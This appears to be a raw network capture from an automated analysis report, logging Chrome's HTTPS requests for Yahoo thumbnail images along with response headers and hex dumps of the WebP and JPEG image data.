2024-01-10 23:27:13 UTC	1300	IN	Data Raw: cc ce bd fb d5 01 f3 0d 74 d0 2f f3 40 9d 8c 08 cf f7 00 51 ba 8d b8 c4 39 10 0d d6 b8 4c 4d 6b 9d 7f e5 73 a7 78 e6 c6 aa c5 02 31 56 e3 c5 da 15 af 7a c0 ab f9 81 b7 fc e0 75 e1 ed bb a4 b7 13 c3 97 8a a9 9b 29 97 b6 09 21 7f d6 95 b6 4e eb 4c 78 b4 76 a5 ee 36 5a b9 40 6f 9c 0e ec fd a1 1b 6a b0 b2 b7 55 fa 79 00 e8 4c 50 45 a9 59 54 a4 9b b0 cc 19 7b 8e bd c1 50 c4 df 00 33 d9 39 ca f1 ed a8 a8 36 7f a2 43 ea f8 2b 10 95 b2 f5 01 7e 51 16 87 5e c8 c8 0c 02 56 60 c2 62 64 cd 99 78 fd f8 8b 55 cc 23 26 47 2e 5c 63 53 2e 08 4d 08 86 12 93 63 23 b1 6c 7b 00 80 48 5e 04 26 ec 4f ce 62 6b 6c ea e3 7f c1 82 7f b5 e5 70 71 e3 bf 02 48 ab c0 71 fb a9 45 26 b7 9a 43 f3 d8 28 a3 95 f9 2e b2 3d 57 2b cc e6 6c f3 f0 98 c7 eb c3 35 01 2f 40 d0 2d 68 f9 ec f8 9c 8b Data Ascii: t/@Q9LMksx1Vzu)!NLxv6Z@ojUyLPEYT{P396C+~Q^V`bdxU#&G.\cS.Mc#l{H^&ObklpqHqE&C(.=W+l5/@-h
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: c3 46 cb 34 f5 45 1c 76 b0 3c c3 e7 6a af 11 03 06 06 b3 e2 96 75 11 cb 6d f3 47 51 83 db e6 4d 0b f7 76 86 81 3c e1 85 cc d3 43 80 b4 56 c1 a8 2c a7 5b 7b be e6 39 1d c2 e4 60 c3 54 35 3f e0 f2 cc 73 88 4d bd 1b 89 00 67 30 7d 1f 51 3c 41 be 42 2e 51 12 a1 73 ce 6e f4 81 ff 78 2e aa ab 9f ae a9 70 40 fb 03 38 57 da 53 da 7a 2b 50 55 b2 0c 5e 63 9c f8 4d ca 6d 68 bc 30 9f 19 7c a9 a5 d6 64 f1 1c eb 88 f9 3f 10 a8 c4 a8 cc ea cf 40 eb 5b d6 60 a7 31 b7 b6 43 18 d1 50 da 81 bf 66 7a 95 6f 20 79 32 1a 29 c8 21 ee 21 84 ac 9e 28 91 b5 38 16 ed cf 16 9c 8b c2 7e 6f 3f 5a 69 7c 30 61 e3 64 75 3a a4 d8 61 8d 10 ad 85 fa 55 6f 9b af 0c 53 c5 42 a0 28 63 65 c5 43 55 57 16 49 32 6f f1 b7 aa 44 3a e2 e8 d8 95 f7 ea be ae 72 e2 79 f2 a7 6a 44 01 b6 ba e2 63 37 0a b2 Data Ascii: F4Ev<jumGQMv<CV,[{9`T5?sMg0}Q<AB.Qsnx.p@8WSz+PU^cMmh0\|d?@[`1CPfzo y2)!!(8~o?Zi\|0adu:aUoSB(ceCUWI2oD:ryjDc7
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: be e5 d9 ee f6 49 b6 09 d3 31 0f b8 16 8d 3d 0f 0b 0d b5 30 1b de 63 13 98 2c 31 79 d2 cc c8 57 85 fa 98 75 80 86 19 4e 86 0a 06 f6 bf 12 e6 05 3b f4 a4 0f 98 a7 ce 3f b5 4a 53 a3 3f 0b bb bd 44 62 d7 5d 41 44 85 a5 32 31 02 f0 80 06 f3 a1 c0 14 1c 04 f1 ca 9a 5e a9 a5 11 21 49 bd 34 bd 6c 19 5d af a7 a0 c6 15 32 f2 a2 72 e2 41 80 8c d6 bb 72 2f 58 a9 e3 6c 40 8b 93 e5 92 fc 12 61 0d f3 d1 e6 48 70 cf b6 ea c2 e6 32 13 1d 4f f9 cd 45 bd 96 31 c5 45 e9 ec c9 82 bd 3f ed 19 bf 6d 8b d3 23 a8 c7 7f 69 ff d5 88 dd 7b 72 a8 18 b2 ff 9d 02 0d b2 47 2f 41 1b 36 7d 10 60 3b 77 f9 9e 31 2f 9d 45 c1 45 74 dd c9 f6 9a 13 91 2a 6d 91 0d 46 39 98 69 76 ed 5b 4a 80 07 6d f2 9e 27 23 fc e3 f7 14 e9 99 e3 2a d1 bb ba df 37 0c 84 c5 8e 57 c9 ae 05 25 77 da 9e ee 16 00 ab Data Ascii: I1=0c,1yWuN;?JS?Db]AD21^!I4l]2rAr/Xl@aHp2OE1E?m#i{rG/A6}`;w1/EEtmF9iv[Jm'#7W%w
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 01 f5 db 8d 80 91 79 ec a8 79 c2 fd 9c 1b 11 b0 1b 8c 76 84 d8 c3 3d fd 75 62 48 f2 50 15 17 d7 47 d6 5b 5c 55 6d 71 af d6 aa df 6b 0d c3 ba 1f ab c9 83 bc 00 00 8c c1 31 3b 47 3c 3d 8a ca c3 86 a8 9c 42 32 b8 40 8d 23 29 12 8e b8 59 2b e5 60 ea 74 cf 67 06 24 1b f0 bf bd d6 eb e1 78 d0 45 35 f4 3c 83 ac b6 d9 40 04 e1 f1 fd 88 c0 1d 8c 00 f6 5e 51 c9 d9 df b4 ac a0 f9 32 fc a4 49 59 e8 52 11 95 e3 bb 7a b1 90 c9 96 de ce 50 f5 a0 06 1a 3c b8 da 9b 80 e6 f8 db 78 94 d2 92 25 1e 89 67 ea 52 e4 d4 48 c0 4d 63 a2 20 f2 9a 9f d0 44 c9 33 f4 90 71 de 9e 08 c9 ce 5f 40 e8 da 47 4e 20 d9 22 33 14 57 32 d9 ab 51 09 c3 b7 75 fa a8 96 8a 0d a9 3e 4e 00 81 83 4b 90 55 16 bf ed 40 54 2a 90 5c 37 60 b1 74 cb 87 1f 0a 31 57 4c 36 e6 3f 9a 36 38 1f 7c 2d 45 12 d3 ec 31 Data Ascii: yyv=ubHPG[\Umqk1;G<=B2@#)Y+`tg$xE5<@^Q2IYRzP<x%gRHMc D3q_@GN "3W2Qu>NKU@T*\7`t1WL6?68\|-E1
2024-01-10 23:27:13 UTC	1194	IN	Data Raw: 9e 0b ab c1 8e be d3 88 20 e0 d8 2b 1d 4b c7 c6 ce 1b e7 66 ff 09 ef 40 e3 69 f6 a3 a3 ff a5 d1 41 84 51 fb 20 16 4c b4 33 70 6b 63 86 ef 49 7d 5a 9f 00 b8 a1 e1 ae e2 30 7d 8f 0a 5a 9a 54 63 b7 2a 3a 12 b1 b4 bf 1d 2a 51 c1 36 b7 2e 84 47 4a ee c2 64 44 5b 71 7d ce 37 69 1a bb b8 26 2f 57 88 aa fa 25 c1 c4 62 18 f7 32 49 08 92 c3 f2 dd 0f 6f 0f 71 d9 ab 36 c0 71 14 83 61 9f 1c e3 ca 2d 75 29 34 4f 17 e4 7b 72 3a 11 7b 67 75 72 3e 4a f2 26 60 de 05 70 47 c3 2f 74 60 1e 11 76 2a 08 a7 66 84 9d 06 db 80 2e be 51 cb 1a e9 81 95 04 a1 d2 87 35 f1 b6 0d 19 75 52 64 a3 f4 c5 9c 6a 2d 7c f9 a7 bd 36 2e 42 f4 45 4d dd 30 29 40 72 d9 ad da 03 83 a1 b4 6f f7 25 69 a5 08 36 30 ab 67 6b b0 bf b0 48 9c 90 98 c4 ad e5 3c a8 98 31 84 ec bb 6a 13 ad 16 f5 3b 7c 9f 64 75 Data Ascii: +Kf@iAQ L3pkcI}Z0}ZTc:Q6.GJdD[q}7i&/W%b2Ioq6qa-u)4O{r:{gur>J&`pG/t`v*f.Q5uRdj-\|6.BEM0)@ro%i60gkH<1j;\|du

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	49908	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	752	OUT	GET /uu/api/res/1.2/LVduRNN5Htm6KVA5NeoIkA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/f2b7229ea8bfdeacca21ad0593673f85.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	1296	IN	HTTP/1.1 200 OK Content-Length: 10232 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 346428860649045559040125157798729676969,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="f2b7229ea8bfdeacca21ad0593673f85.webp" Edge-Cache-Tag: 346428860649045559040125157798729676969,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "31b465c47a64aa02fbd9e5095bbf215c" Last-Modified: Wed, 10 Jan 2024 14:10:38 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=10232,owidth=1692,oheight=1128,obytes=3084949,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 67e70b24f7e6a7188e82a1b823f0c56b Accept-Ranges: bytes Date: Wed, 10 Jan 2024 14:10:39 GMT X-Served-By: cache-lga21940-LGA X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1704895838.857182,VS0,VE1491 Age: 33398 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block
2024-01-10 23:27:13 UTC	58	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: X-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 52 49 46 46 f0 27 00 00 57 45 42 50 56 50 38 20 e4 27 00 00 90 fa 00 9d 01 2a 18 02 1c 01 3e 79 38 98 48 a4 a3 2a a6 27 b2 da b9 50 0f 09 67 6d b4 e2 12 c0 f7 d2 81 34 da 10 dd e2 96 92 15 cf a5 95 a2 70 e7 b2 0e 83 ce 75 17 2d 8b 43 39 ec e7 3b 29 77 af 88 16 46 2f 13 5f 50 f2 24 ae 09 1f 7f d9 07 9a 65 e1 1b 9b 06 45 e1 ff ea 6a 55 1c 8c d6 9a ea 25 b1 19 84 ec 1b db f6 cb 81 9c 21 88 f1 39 56 39 9f e8 f1 27 71 c0 68 68 d2 06 4f 96 e8 c4 40 20 5a 02 c2 cd 11 44 9b ca bc 29 56 99 a4 d4 8b c5 da c7 38 ca 71 38 bf 6f 77 92 ba 5a 22 48 a8 24 e0 72 d5 8b 7c db 24 21 43 e5 ef 94 50 d5 7f be 40 1f 18 34 50 54 83 04 38 90 bc cb 34 1f d8 b8 13 f3 42 92 49 61 82 d9 72 ec 89 56 eb 4c 6e 1e e5 f5 c7 9e ae f0 f5 f8 82 95 7e fd 68 a7 82 62 d2 96 cd 84 82 96 77 82 18 Data Ascii: RIFF'WEBPVP8 '>y8H'Pgm4pu-C9;)wF/_P$eEjU%!9V9'qhhO@ ZD)V8q8owZ"H$r\|$!CP@4PT84BIarVLn~hbw
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: e1 28 15 a2 59 1f 25 a8 5d 7b 69 fc 31 e8 49 99 5c fc 00 6e d1 fb 9c 2b 43 7f 3c ad 7e ad b4 c9 7e 66 61 44 76 24 72 a1 e7 01 a0 ff 67 8b a9 3f 75 23 af d7 07 90 66 90 f1 46 cf 66 ae 4e ab e7 a7 69 5a 1a e0 30 53 b6 9c a2 90 9c 9c a9 b0 6b c6 bb 09 b6 ba 18 d1 8b 78 be be 67 40 6b 42 aa fe c5 1e ba 64 52 b3 25 98 cf 78 a2 96 38 88 1e 2d ab 90 98 cc b0 de c7 14 49 60 fe 60 2d f0 48 d8 3e 3c e3 fe 04 82 63 81 e7 55 63 bf ef 39 2f 55 da 8d 7b 4e 2b 2b 99 40 fe 74 9d 3c c0 e9 27 84 e9 44 b6 d8 5c d0 e6 84 9b 25 72 bd 9b ba c8 94 f6 42 d0 1b 8f 9f b5 01 35 81 28 e1 e1 0c ad 93 c6 97 ac 15 d5 eb 2a a3 92 1c 9c 47 05 84 d2 da 78 dc ef 04 69 79 b2 cc 92 1d 81 91 40 65 b3 77 29 fe 4d 6c 9e d0 72 38 62 09 4a 7f d2 b4 69 0d c1 ba 21 4e c3 ad af 19 9a f9 a8 59 1f 30 Data Ascii: (Y%]{i1I\n+C<~~faDv$rg?u#fFfNiZ0Skxg@kBdR%x8-I``-H><cUc9/U{N++@t<'D\%rB5(*Gxiy@ew)Mlr8bJi!NY0
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 85 c1 f9 a8 35 3d 06 94 ec ad ad 03 09 ad 3b 9f 7e f8 63 d5 5a 89 c7 51 e7 78 9b 4d ea 3c 65 94 5e d9 ab 51 f0 fd 6d 6f ab cd 06 ac b8 1e ca 1d ca 6b a4 6c 7c dd 92 0c f4 a0 8c 6c 57 c4 4f 21 b9 62 45 53 ba 02 d1 a7 ab 25 34 b0 47 49 81 50 7a ec 43 b2 71 13 5c cb 91 2c 7f 6e e1 88 cd 5e 6c 92 d1 b5 83 53 54 df 5e df 58 ea 7d 63 6e d8 15 82 de 0d 53 90 58 76 a7 df c8 5b 8d c5 7c 63 1c e5 8b b4 7d 41 0d 45 f1 a7 ec ec 36 82 b3 a0 9c e3 1b 6a fd 32 a1 52 0f 1d 5a a7 42 28 2a 7e 61 d4 47 20 09 e6 a5 71 7b 5e 8d fe 08 92 7b 27 ce 43 bf df 83 6f 12 c1 aa f7 77 a1 2c 09 7e 3d b2 62 7f 29 cd 63 a9 fb 64 34 e5 45 79 b6 50 cb 15 38 3f 64 50 1d 73 6a f9 75 c5 da bb 7c b4 ee 51 39 57 fd 26 42 9f d2 ca c3 f6 54 07 f5 e9 63 63 c6 90 80 fe d1 6f fc 84 ab 25 74 0b bf f2 Data Ascii: 5=;~cZQxM<e^Qmokl\|lWO!bES%4GIPzCq\,n^lST^X}cnSXv[\|c}AE6j2RZB(*~aG q{^{'Cow,~=b)cd4EyP8?dPsju\|Q9W&BTcco%t
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: b8 21 96 0c dd 46 3b b0 8b cf 8d a4 86 ea 08 e9 20 dd 70 e9 37 1d b9 b4 b8 8a 53 96 7a 0d cc 99 92 90 b7 8e 3a e6 01 46 94 e8 86 3d d3 e9 29 7b da 28 65 9b 3c 6a 63 75 17 9c bd d4 92 8f ca 3d ca 66 da 30 06 52 f2 13 9d ea 28 80 dc 4d 0b 35 d0 43 b7 95 d0 ad d2 17 79 5a dd b0 d1 5b 2f 6d d5 af 4b e7 72 ac 69 27 55 dd 9b 32 ed 84 f3 e4 e6 70 f0 ce e4 96 58 c1 7d 52 af 68 45 53 77 cf b3 0d eb 15 41 f0 97 ba 43 cf 13 0d b6 fc 33 c7 9a 79 37 cd ef 5c 2c 02 c3 00 3f 81 41 d5 c0 8e 4d a2 4c 82 b2 a2 90 57 4e 17 99 81 8d e8 de 9c 18 fd 0d 5f 9d ab e6 e8 5d 77 f7 32 2a 99 32 e3 7a 48 8a 53 f2 3c 80 2f 85 c0 4a 7a 9b dd df 3f 0d 0d 1a e6 d6 52 10 2a bd 2f 8c 9f 38 d9 e4 92 af 69 a7 1d 47 f8 27 8f 8a 16 6d fe ad 81 32 b6 11 e6 66 ca 37 2b 2f 6b 55 29 5b 9f a6 4d cc Data Ascii: !F; p7Sz:F=){(e<jcu=f0R(M5CyZ[/mKri'U2pX}RhESwAC3y7\,?AMLWN_]w22zHS</Jz?R/8iG'm2f7+/kU)[M
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: c1 11 94 14 0b 29 e4 97 c6 14 91 28 c2 31 ba 48 ac 7d 4d b0 95 26 a4 fb e0 24 b4 f1 79 ea b4 cb 66 bb 6e 55 87 ec 8c 47 e8 e8 06 50 09 19 0e 88 a3 cd b2 82 0a 18 7e b4 3d 62 00 66 d3 11 33 1a 0b 76 ce ce b3 06 1f da 7b da a0 05 b6 1b a6 e6 0e c0 24 be 4f b4 1e 3a 41 53 1b 66 ee c4 95 20 d5 27 fa 6b b5 d1 a4 8c 30 ee a8 e3 e6 49 d5 dc 7d 20 31 72 6e de e1 b7 c5 9b 6d 25 26 79 a9 4f ce 39 b1 b5 c9 f8 b2 3b 59 c9 9a f3 e9 56 37 93 ac 5d eb a8 2d 8a e9 24 43 d4 e2 4c 36 2e 3f 59 b2 39 ca e1 27 14 99 36 53 52 ed d2 4c 37 15 eb 3e 94 8b 88 dc 5a 6c 7a 4f a8 0a 76 c5 b1 4d 2a bf 27 fd e0 e0 4d b9 80 64 95 05 85 fe 86 2d 29 98 da 74 12 9e d4 87 bf 38 7b 4e d8 cf c4 67 40 53 0e 3e d9 76 b7 92 4d 9e ec 8d 10 f5 7c ed be c8 20 89 ba 3d 84 3e f1 d7 8b a3 26 1e 64 7b Data Ascii: )(1H}M&$yfnUGP~=bf3v{$O:ASf 'k0I} 1rnm%&yO9;YV7]-$CL6.?Y9'6SRL7>ZlzOvM*'Md-)t8{Ng@S>vM\| =>&d{
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 75 f0 ee 3a ce 66 9d e0 85 c9 54 29 2c ff e0 3a 5a fa f4 b4 7e b6 e5 01 c1 03 4a 3e ec 5f 15 e5 ea 87 7d 07 63 67 af ce f8 a0 6e f1 ff 14 f9 e6 d1 ae b7 a6 31 6a 18 9d 7b 4d d7 90 ae f1 0d 32 27 26 97 0f f4 db 2d 3e 6a 2e 6c 57 3a 99 8a a3 39 c4 46 89 73 7d aa 4f fd 3e 98 1e 18 a0 5c 8f c1 b0 a3 b1 15 44 73 e1 d8 d4 f8 19 a2 ff 31 b6 3c 32 93 80 7a fa a2 2f c9 0c 01 54 bd 9a 99 f8 68 55 46 00 d4 64 a1 24 af 6f 7e 22 c5 5d d1 8d 90 06 fc f8 b1 24 87 51 00 78 9f 4c ac ad 4d 59 1e 6d 3b 56 b9 5f c0 37 35 2f d8 3a 44 7c 0c da c5 fa 94 70 88 56 36 ba e0 5f a6 20 0a 91 15 5e 9e 9b b3 be cc e7 33 33 bb 4d cf 80 0a 31 e8 52 af a3 16 54 23 80 98 80 c4 bc f4 71 dd 3f 68 76 d3 7b 33 65 7f 17 c4 7b 3b 19 a8 8e 44 65 e4 14 e8 85 23 a6 6a 73 14 18 cc 7d 19 14 d5 97 93 Data Ascii: u:fT),:Z~J>_}cgn1j{M2'&->j.lW:9Fs}O>\Ds1<2z/ThUFd$o~"]$QxLMYm;V_75/:D\|pV6_ ^33M1RT#q?hv{3e{;De#js}
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: c4 6a 2d e5 73 8f 48 2d 17 c3 72 cd 04 11 36 b1 ba 9e 7d 8e 0a d9 09 3d 56 bf 27 c0 26 3b 8d 1c ea 82 da 1c 62 08 b1 60 1e 75 34 09 64 51 ac ec 25 52 15 d3 b4 83 31 ed a4 4f d9 e5 db 3a 19 2a dc a8 70 18 fc ff 68 6d 45 5c 6c 58 48 09 6c f4 fb 99 be c6 03 1d 09 30 a0 10 88 f6 12 a9 7e e5 66 e9 97 45 cd 1a 33 8d a9 84 54 b4 03 11 e4 2d 6e 8c bf 46 fb 12 dc f5 43 1c 27 cc 9a 3c f3 90 cf 89 fe 69 c2 fb 14 71 39 c9 02 6a c7 40 d9 6c 4f 1c 39 54 42 5e 16 f0 89 09 f7 c7 e4 64 c7 f0 fe ea a9 94 da c0 7b e6 78 4a 42 d9 fd 1a da 00 7b 70 54 3c d2 2a bb 42 b0 32 ff 39 0a 2d da e4 0f 9a b6 99 71 d5 fd e2 ec 00 30 29 e5 c9 68 d5 51 2b 7e ee b4 13 c9 37 c6 c2 72 23 6a 01 a0 02 1f 18 10 85 a3 57 24 ac 1b c2 2d ca dc 17 45 33 92 a5 7d 70 60 12 6d 18 21 a4 71 59 0d c9 60 Data Ascii: j-sH-r6}=V'&;b`u4dQ%R1O:phmE\lXHl0~fE3T-nFC'<iq9j@lO9TB^d{xJB{pT<B29-q0)hQ+~7r#jW$-E3}p`m!qY`
2024-01-10 23:27:13 UTC	1132	IN	Data Raw: 12 0f 83 9a c5 e1 8d b0 f1 ef b2 77 e0 17 6d f8 47 af 2a b0 0b cf 4e f0 e9 50 2e cc 28 79 f4 bf c5 e2 68 07 ea 5b 71 6a f6 96 69 bc 2b 69 ef 27 56 3a 49 24 68 99 b5 46 f8 55 8e 08 ca 91 cc ae 51 a5 cd 66 d2 9e 70 d9 61 e9 08 07 d9 ed 0d 89 00 33 3c 62 00 54 a1 1d 99 3d 61 06 f8 67 f5 67 80 8c 6d f4 c7 dd 70 3e 06 2a eb e4 e9 26 7a e1 3f dc 9a 59 b3 97 8d 00 a4 f3 aa a5 b1 56 8a 77 23 17 e6 72 b0 13 ce 9d 91 04 b0 69 a5 af f4 66 99 3d 32 1c 3b 84 9d f7 ba 90 1c 7f 51 49 47 e7 3c ee 6b 40 23 48 45 63 f3 32 6b 26 f0 cd 08 39 0b 44 4e ec 40 3b f7 bb a6 c6 b3 61 be 27 0c 5c 08 0b a6 a7 42 0a 29 8d e1 ea e0 2c 04 0a 97 d3 12 03 3a 75 6a 5c 3c cc 08 a6 13 fd fc 5d fe a0 8a 7e 06 a5 b2 43 13 cb 7f e4 b5 a0 2b 74 78 58 37 fe 8b f7 76 14 51 53 c4 54 83 73 08 90 c8 Data Ascii: wmGNP.(yh[qji+i'V:I$hFUQfpa3<bT=aggmp>&z?YVw#rif=2;QIG<k@#HEc2k&9DN@;a'\B),:uj\<]~C+txX7vQSTs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	49913	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	520	OUT	GET /uu/api/res/1.2/3vDJsuvj34ivMVnukopXNw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/in_touch_weekly_336/3b052fdee39917ec92806ecae96b4a87.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	1286	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 289012466908936781733354190338372088939,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="3b052fdee39917ec92806ecae96b4a87.webp" Edge-Cache-Tag: 289012466908936781733354190338372088939,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "bc916f8a2e915af8db7350a0e9f1d664" Last-Modified: Wed, 10 Jan 2024 22:07:23 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=15400,owidth=1080,oheight=1080,obytes=174400,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 064a99b118297897d27a6f0e43325b9a Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:13 GMT X-Served-By: cache-iad-kjyo7100146-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704929234.971404,VS0,VE1 Age: 0 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 064a99b118297897d27a6f0e43325b9a cld_by: cache-iad-kjyo7100146-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 43994 Connection: close
2024-01-10 23:27:14 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:14 UTC	1288	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 01 1c 02 18 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 00 06 03 01 00 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 07 00 01 08 09 ff c4 00 4f 10 00 01 02 04 04 03 05 05 04 06 07 06 04 06 03 00 01 02 03 00 04 05 11 06 12 21 31 07 13 41 22 51 61 71 81 08 14 32 91 a1 23 42 Data Ascii: JFIFCCO!1A"Qaq2#B
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: a8 bc b6 6a 11 25 cd 1d 60 77 11 f7 77 1a 3e 16 6c 80 44 5c 5d 96 69 28 ee 10 77 c1 0d 25 1e 10 b6 da 64 33 2f 8c 19 03 39 7e 31 5e c4 0b b0 1d 61 84 33 2f 8c 42 a8 d5 84 40 4d d8 c4 20 63 6a d4 69 10 82 84 2f 40 08 88 40 d1 ac 53 20 18 02 03 8b 21 91 08 0a 21 3b 06 74 89 45 7a a0 a5 c0 a0 58 6d 14 17 2b 92 08 bf f6 d7 f9 02 7f 28 5e cf f8 1b 34 a3 79 51 c2 fe dd b3 0d bb c5 b5 b4 9f 89 a9 21 9c 77 5d e7 40 fc 0c 73 24 8f 49 83 aa 39 0a 69 91 37 5f a4 ca 5f b4 fd 41 86 92 2d 7b 95 2c 08 44 8d 91 74 7a 33 2e 8f ea cc 1f da 65 07 fc a2 11 21 d1 1c 5a 48 4a 00 10 91 e1 d0 48 80 22 c1 4e 81 a4 08 83 19 b4 c4 00 10 de 20 48 35 22 e9 10 a9 ae 4b 0c 22 f0 01 23 00 b4 5a 09 02 4c 46 10 34 c0 32 06 23 a4 0b 2d 03 81 2c 31 1f 10 8a 97 43 71 83 70 e6 39 86 91 9a 4d Data Ascii: j%`ww>lD\]i(w%d3/9~1^a3/B@M cji/@@S !!;tEzXm+(^4yQ!w]@s$I9i7__A-{,Dtz3.e!ZHJH"N H5"K"#ZLF42#-,1Cqp9M
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: dc c1 76 32 05 6d 8b e5 df 59 71 8c 9b 0d e1 32 49 76 6a 83 21 d2 14 55 cf d7 25 d0 ea 6c ca 66 1b 53 ca 23 44 b7 7b a8 93 e8 23 36 d6 de 0d 61 f1 d4 79 fa 1c df e1 b5 32 77 12 d5 31 25 51 25 c5 cf d4 26 27 5b 64 0b 21 1c c7 0a c7 5d 6d 7b 74 da 3c ce df 9f ce f8 c2 76 34 fc 4a 5f ee 25 72 cc 33 2e 90 db 2d 25 09 1b 00 23 87 29 b9 f2 d9 dc 8c 54 78 41 ae ce 4b 4a 32 5e 9a 7d 0d 20 6e 54 6d 09 71 93 7c 0f b4 bb 2b 8c 55 c7 ac 3b 87 c2 99 90 3c f5 9f ed 46 a9 1e 51 d8 d4 f1 39 f6 39 67 1b 6f cb 61 d5 65 31 8b 78 c5 56 c4 4b 75 b6 67 9e 74 13 d9 29 ec b6 3c bb e3 bf a9 e1 e9 f2 8e 0e df 9f be 22 45 9b a3 d6 aa aa 2b 9d 98 2b 27 52 9b f6 47 a4 7a c8 6a 46 35 47 9b 96 e6 77 c9 65 70 cf 87 54 aa d4 cb f2 d5 47 32 b4 d3 21 